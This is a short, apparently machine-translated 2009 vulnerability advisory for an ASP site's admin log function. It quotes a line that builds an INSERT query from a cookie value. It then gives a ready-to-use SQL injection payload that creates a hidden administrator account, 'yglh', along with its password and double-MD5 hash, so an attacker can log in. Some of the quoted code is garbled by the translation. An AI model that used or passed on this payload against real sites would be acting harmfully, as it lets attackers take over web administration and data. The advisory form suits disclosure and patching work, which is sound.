|
Long Ying
Release date: 2009-11-9
For SQL and background address versions not modified
Vulnerability Description: admin/inc/. asp row 124
Reference
Conn.exe cute ("insert into" & web_dbtop & "log (logcontent, logtime, logname, logip) VALUES (" & logcontent & "," & logtime & "," & Request. s (web_url) ("AdminName") & "," & usersip ()&")")
The web_url here is the current website address
In admin_login.asp? Action = logout is called once.
Admin_login.asp 164 line call addlog ("log out ")
So when submitting admin_login.asp? Action = logout request, you can execute multiple statements to inject your AdminName.
For example, change the value to web_url = AdminName = a, 127.0.0.1); insert into lf_admin ([name], [password]) values (yglh, 14e1b600b1fd579f47433b88e8d85291 )--;
Then you can log on with yglh and password 123456.
PS: Their MD5 value is obtained twice. Therefore, it is 14e1b600b1fd579f47433b88e8d85291.
|
